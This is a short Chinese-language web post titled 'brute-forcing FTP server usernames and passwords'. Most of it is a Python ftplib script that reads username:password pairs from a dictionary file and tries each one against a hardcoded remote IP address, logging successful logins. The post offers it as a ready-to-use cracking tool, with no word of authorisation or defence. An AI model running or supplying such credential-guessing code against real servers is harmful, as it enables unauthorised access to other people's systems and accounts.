失眠网,内容丰富有趣,生活中的好帮手!
失眠网 > 暴力破解FTP服务器用户名密码

暴力破解FTP服务器用户名密码

时间:2022-05-30 23:31:36

相关推荐

暴力破解FTP服务器用户名密码

暴力破解FTP服务器用户名密码

破解

今天的例子很简单,就是用python的FTPLIB模块,登陆ftp服务器。并尝试用户名和密码。

大概的逻辑是,假设远程主机上有FTP服务器,我们使用用户和密码文件,不断的尝试并登陆远程ftp服务器,如果正确,打印日志。脚本很简单,主要如下:

#!/usr/bin/python

#coding:utf-8

import ftplib

import logging

import logging.config

filename=''

logging.config.fileConfig('./logconfig.ini')

__log = logging.getLogger('product')

def ftpconn(host,filename):

fp = open(filename,'r')

for line in fp.readlines():

__log.debug(line)

if not line.strip('\r').strip('\n'):

__log.debug("遍历完毕,脚本退出")

break;

loginname = line.split(':')[0]

loginpwd = line.split(':')[1].strip('\r').strip('\n')

try:

ftpconn = ftplib.FTP(host,timeout=2)

ftpconn.login(loginname, loginpwd)

__log.debug("%s login sucess",host)

ftpconn.quit()

#return True

except Exception as e:

__log.debug("login %s failed,name:%s,pwd:%s, ,error info %s",host,loginname,loginpwd,str(e))

#return False

def main():

global filename

filename = 'pwddict.txt'

ftpconn('166.111.174.33',filename)

if __name__ == '__main__':

main()

如果觉得《暴力破解FTP服务器用户名密码》对你有帮助,请点赞、收藏,并留下你的观点哦!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。